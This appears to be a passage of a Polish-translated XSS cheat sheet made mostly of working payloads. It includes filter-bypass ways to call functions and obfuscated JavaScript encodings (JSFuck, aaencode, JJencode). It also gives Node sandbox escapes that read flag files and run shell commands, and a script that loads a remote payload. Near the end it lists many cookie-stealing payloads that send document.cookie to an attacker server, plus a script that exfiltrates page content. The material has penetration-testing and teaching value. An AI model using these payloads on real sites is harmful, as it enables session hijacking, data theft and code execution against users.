eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Wywołanie dowolnej funkcji (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Istnieje JS code, który używa niebezpiecznych danych kontrolowanych przez atakującego, takich jak location.href. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:

DOM XSS

Tam znajdziesz szczegółowe explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them.
Ponadto, nie zapomnij, że na końcu wspomnianego wpisu znajdziesz wyjaśnienie dotyczące DOM Clobbering attacks.

Ulepszanie Self-XSS

Jeśli możesz wywołać XSS wysyłając payload w cookie, zwykle jest to self-XSS. Jednak jeśli znajdziesz vulnerable subdomain to XSS, możesz wykorzystać ten XSS do wstrzyknięcia cookie w całej domenie, co pozwoli wywołać cookie XSS w domenie głównej lub innych subdomenach (tych podatnych na cookie XSS). Do tego możesz użyć cookie tossing attack:

Cookie Tossing

Możesz znaleźć świetny przykład nadużycia tej techniki w this blog post.

Wysłanie swojej sesji do administratora

Może się zdarzyć, że użytkownik udostępni swój profil administratorowi, a jeśli self XSS znajduje się w profilu użytkownika i administrator go otworzy, podatność zostanie wywołana.

Session Mirroring

Jeśli znajdziesz self XSS, a strona posiada session mirroring for administrators — na przykład pozwalający klientom prosić o pomoc, w wyniku czego administrator, aby pomóc, widzi to, co Ty widzisz w swojej sesji, ale z jego sesji — możesz sprawić, że administrator uruchomi Twoje self XSS i ukraść jego cookies/session.

Inne obejścia

Bypassing sanitization via WASM linear-memory template overwrite

Gdy aplikacja webowa używa Emscripten/WASM, stałe łańcuchy (np. HTML format stubs) znajdują się w zapisywalnej linear memory. Pojedynczy in‑WASM overflow (np. unchecked memcpy w ścieżce edycji) może uszkodzić sąsiednie struktury i przekierować zapisy do tych stałych. Nadpisanie szablonu takiego jak “

%.*s

” na “” zamienia sanitizowany input w wartość handlera JavaScript i powoduje natychmiastowy DOM XSS przy renderze.

Sprawdź dedykowaną stronę z workflow eksploatacji, DevTools memory helpers i metodami obrony:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Możesz sprawdzić, czy reflected valuesunicode normalized po stronie serwera (lub klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Z powodu RoR mass assignment do HTML są wstawiane quotes, a następnie ograniczenie dotyczące cudzysłowów zostaje bypassed i do tagu można dodać dodatkowe pola (onfocus).
Przykład formularza (from this report), jeśli wyślesz payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Para “Key”,“Value” zostanie wypisana w ten sposób:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Wtedy atrybut onfocus zostanie wstawiony i wystąpi XSS.

Specjalne kombinacje

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS z header injection w odpowiedzi 302

Jeśli odkryjesz, że możesz inject headers in a 302 Redirect response możesz spróbować make the browser execute arbitrary JavaScript. To nie jest trywialne, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli status odpowiedzi HTTP to 302, więc sam payload cross-site scripting jest bezużyteczny.

W this report i this one możesz przeczytać, jak można testować kilka protokołów wewnątrz Location header i sprawdzić, czy któryś z nich pozwala przeglądarce na zbadanie i wykonanie XSS payload wewnątrz body.
Dotychczas znane protokoły: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Tylko litery, cyfry i kropki

Jeśli możesz wskazać callback, który javascript ma wykonać, ograniczony do tych znaków. Read this section of this post aby dowiedzieć się, jak wykorzystać to zachowanie.

Prawidłowe Content-Type dla <script> do XSS

(From here) Jeśli spróbujesz załadować skrypt z content-type takim jak application/octet-stream, Chrome zgłosi następujący błąd:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Jedynymi Content-Typeami, które pozwolą Chrome uruchomić loaded script, są te wewnątrz stałej kSupportedJavascriptTypes z https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Typy skryptów dla XSS

(Z here) Zatem, jakie typy można wskazać, aby załadować skrypt?

<script type="???"></script>

Odpowiedź to:

  • module (domyślnie, nic do wyjaśnienia)
  • webbundle: Web Bundles to funkcja, która pozwala zapakować zbiór danych (HTML, CSS, JS…) w jeden plik .wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Pozwala ulepszyć składnię importów
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

To zachowanie zostało wykorzystane w this writeup do przemapowania biblioteki na eval w celu jej nadużycia — może to spowodować XSS.

  • speculationrules: Ta funkcja ma na celu głównie rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa w następujący sposób:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types prowadzące do XSS

(Źródło here) Następujące content types mogą spowodować XSS we wszystkich przeglądarkach:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? not in the list but I think I saw this in a CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

W innych przeglądarkach inne Content-Types mogą być użyte do wykonania dowolnego JS, sprawdź: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Jeśli strona zwraca text/xml content-type, możliwe jest wskazanie przestrzeni nazw i wykonanie dowolnego JS:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Specjalne wzorce zastępowania

Gdy używane jest coś takiego jak "some {{template}} data".replace("{{template}}", <user_input>). Atakujący może użyć special string replacements żeby spróbować obejść niektóre zabezpieczenia: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Na przykład w this writeup, użyto tego, aby ucieczka znaków w ciągu JSON wewnątrz skryptu i wykonać dowolny kod.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Jeśli masz do dyspozycji ograniczony zestaw znaków, sprawdź te inne poprawne rozwiązania problemów z XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Jeśli przed uruchomieniem niezaufanego kodu wszystko jest undefined (jak w this writeup) możliwe jest wygenerowanie użytecznych obiektów “z niczego”, aby wykorzystać wykonanie dowolnego niezaufanego kodu:

  • Przy użyciu import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Dostęp do require pośrednio

According to this moduły są zawijane przez Node.js w funkcję, w ten sposób:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Dlatego, jeśli z tego modułu możemy wywołać inną funkcję, możliwe jest użycie arguments.callee.caller.arguments[1] z tej funkcji, aby uzyskać dostęp do require:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

W podobny sposób jak w poprzednim przykładzie, możliwe jest use error handlers w celu uzyskania dostępu do wrapper modułu i uzyskania funkcji require:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS częste payloads

Kilka payloads w 1

Steal Info JS

Pułapka iframe

Spraw, aby użytkownik poruszał się po stronie bez wychodzenia z iframe i przechwyć jego działania (w tym informacje wysyłane w formularzach):

Iframe Traps

Pobierz Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Nie będziesz w stanie uzyskać dostępu do cookies z JavaScript, jeśli flaga HTTPOnly jest ustawiona w cookie. Ale tutaj masz some ways to bypass this protection jeśli będziesz miał tyle szczęścia.

Wykradanie zawartości strony

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

